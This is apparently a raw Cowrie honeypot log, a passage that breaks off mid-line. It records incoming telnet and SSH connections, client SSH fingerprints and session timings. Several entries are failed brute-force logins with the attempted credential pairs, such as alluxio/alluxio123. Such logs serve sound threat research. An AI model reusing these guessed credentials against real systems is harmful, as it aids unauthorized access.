{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cbe2b88fae0","protocol":"telnet","message":"New connection: 159.203.13.64:44178 (10.17.0.5:23) [session: 0cbe2b88fae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:24.092602Z"}
{"eventid":"cowrie.session.closed","duration":40.05986261367798,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:25.119848Z","src_ip":"159.203.13.64","session":"bcd92b3875bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44188,"dst_ip":"10.17.0.5","dst_port":23,"session":"03fc66184398","protocol":"telnet","message":"New connection: 159.203.13.64:44188 (10.17.0.5:23) [session: 03fc66184398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:25.836301Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59930,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace4341be600","protocol":"telnet","message":"New connection: 159.203.13.64:59930 (10.17.0.5:23) [session: ace4341be600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:31.468522Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"934ccbac7bae","protocol":"telnet","message":"New connection: 159.203.13.64:59934 (10.17.0.5:23) [session: 934ccbac7bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:31.711171Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59936,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ef7d7e66b0","protocol":"telnet","message":"New connection: 159.203.13.64:59936 (10.17.0.5:23) [session: 56ef7d7e66b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:33.114923Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59938,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3d94ea6093","protocol":"telnet","message":"New connection: 159.203.13.64:59938 (10.17.0.5:23) [session: 3e3d94ea6093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:33.746491Z"}
{"eventid":"cowrie.session.closed","duration":41.466307401657104,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:35.386235Z","src_ip":"159.203.13.64","session":"c36f4d010568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":46786,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d729a929bc","protocol":"ssh","message":"New connection: 45.78.194.242:46786 (10.17.0.5:22) [session: 54d729a929bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:35.660408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:35.665291Z","src_ip":"45.78.194.242","session":"54d729a929bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af5a7031fde","protocol":"telnet","message":"New connection: 159.203.13.64:59942 (10.17.0.5:23) [session: 1af5a7031fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:40.482921Z"}
{"eventid":"cowrie.session.closed","duration":43.71145677566528,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:41.620316Z","src_ip":"159.203.13.64","session":"fe0899930540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":55732,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0e8c698df6","protocol":"ssh","message":"New connection: 186.13.24.118:55732 (159.203.135.109:22) [session: aa0e8c698df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:45.521987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:45.526537Z","src_ip":"186.13.24.118","session":"aa0e8c698df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:45.693708Z","src_ip":"186.13.24.118","session":"aa0e8c698df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.98798179626465,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:46.122270Z","src_ip":"159.203.13.64","session":"ba51b4d48cc7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"Password123","message":"login attempt [ts3server/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:46.399592Z","src_ip":"186.13.24.118","session":"aa0e8c698df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:47.569740Z","src_ip":"186.13.24.118","session":"aa0e8c698df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.85832738876343,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:51.806861Z","src_ip":"159.203.13.64","session":"0313ede6dbaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.35661482810974,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:52.424429Z","src_ip":"159.203.13.64","session":"6dcc1d8254a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33980,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6262e0d5008","protocol":"telnet","message":"New connection: 159.203.13.64:33980 (10.17.0.5:23) [session: f6262e0d5008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:53.783521Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57488,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc212b4f80c","protocol":"ssh","message":"New connection: 159.203.92.129:57488 (159.203.135.109:22) [session: bdc212b4f80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:55.678924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:55.684644Z","src_ip":"159.203.92.129","session":"bdc212b4f80c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:55.689469Z","src_ip":"159.203.92.129","session":"bdc212b4f80c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluxio","password":"alluxio","message":"login attempt [alluxio/alluxio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:55.704090Z","src_ip":"159.203.92.129","session":"bdc212b4f80c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:56.713292Z","src_ip":"159.203.92.129","session":"bdc212b4f80c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.22560381889343,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:01:58.400989Z","src_ip":"159.203.13.64","session":"186e18cf5d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.98981523513794,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:01.466379Z","src_ip":"159.203.13.64","session":"62be8b2cc944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44682,"dst_ip":"10.17.0.5","dst_port":23,"session":"e02c11b725ea","protocol":"telnet","message":"New connection: 159.203.13.64:44682 (10.17.0.5:23) [session: e02c11b725ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:02.076243Z"}
{"eventid":"cowrie.session.closed","duration":39.46096444129944,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:03.553451Z","src_ip":"159.203.13.64","session":"0cbe2b88fae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.92448282241821,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:06.760626Z","src_ip":"159.203.13.64","session":"03fc66184398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"c996a496bc59","protocol":"telnet","message":"New connection: 159.203.13.64:44688 (10.17.0.5:23) [session: c996a496bc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:07.598644Z"}
{"eventid":"cowrie.session.closed","duration":36.34459972381592,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:10.090951Z","src_ip":"159.203.13.64","session":"3e3d94ea6093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.2210156917572,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:10.931979Z","src_ip":"159.203.13.64","session":"934ccbac7bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.32931923866272,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:11.797720Z","src_ip":"159.203.13.64","session":"ace4341be600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33458,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c953e80c13b","protocol":"telnet","message":"New connection: 159.203.13.64:33458 (10.17.0.5:23) [session: 1c953e80c13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:17.680083Z"}
{"eventid":"cowrie.session.closed","duration":38.65007925033569,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:19.132896Z","src_ip":"159.203.13.64","session":"1af5a7031fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56782,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc2201cd78a","protocol":"telnet","message":"New connection: 159.203.13.64:56782 (10.17.0.5:23) [session: 4fc2201cd78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:20.822227Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:23.490110Z","src_ip":"45.78.194.242","session":"54d729a929bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.3815975189209,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:23.496430Z","src_ip":"159.203.13.64","session":"56ef7d7e66b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"47.8","message":"Connection lost after 47.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:23.500402Z","src_ip":"45.78.194.242","session":"54d729a929bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.97772264480591,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:32.761137Z","src_ip":"159.203.13.64","session":"f6262e0d5008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33894,"dst_ip":"10.17.0.5","dst_port":23,"session":"f638f29c437b","protocol":"telnet","message":"New connection: 159.203.13.64:33894 (10.17.0.5:23) [session: f638f29c437b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:33.543034Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33900,"dst_ip":"10.17.0.5","dst_port":23,"session":"286f0435723f","protocol":"telnet","message":"New connection: 159.203.13.64:33900 (10.17.0.5:23) [session: 286f0435723f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:35.312260Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57242,"dst_ip":"159.203.135.109","dst_port":23,"session":"97b05ce66dd9","protocol":"telnet","message":"New connection: 80.252.221.197:57242 (159.203.135.109:23) [session: 97b05ce66dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:36.256854Z"}
{"eventid":"cowrie.session.closed","duration":35.25656580924988,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:37.332679Z","src_ip":"159.203.13.64","session":"e02c11b725ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57244,"dst_ip":"159.203.135.109","dst_port":23,"session":"223080870279","protocol":"telnet","message":"New connection: 80.252.221.197:57244 (159.203.135.109:23) [session: 223080870279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:37.404184Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33910,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b8e96b16cd","protocol":"telnet","message":"New connection: 159.203.13.64:33910 (10.17.0.5:23) [session: 84b8e96b16cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:39.350059Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59136,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b48eabb100","protocol":"ssh","message":"New connection: 159.203.92.129:59136 (159.203.135.109:22) [session: 29b48eabb100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:40.228952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:40.233662Z","src_ip":"159.203.92.129","session":"29b48eabb100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:40.252946Z","src_ip":"159.203.92.129","session":"29b48eabb100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluxio","password":"alluxio123","message":"login attempt [alluxio/alluxio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:40.312248Z","src_ip":"159.203.92.129","session":"29b48eabb100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:41.317882Z","src_ip":"159.203.92.129","session":"29b48eabb100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.68624997138977,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:43.284678Z","src_ip":"159.203.13.64","session":"c996a496bc59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":60426,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6db0f076c2","protocol":"ssh","message":"New connection: 186.13.24.118:60426 (159.203.135.109:22) [session: fc6db0f076c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:57.521495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:57.526627Z","src_ip":"186.13.24.118","session":"fc6db0f076c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encC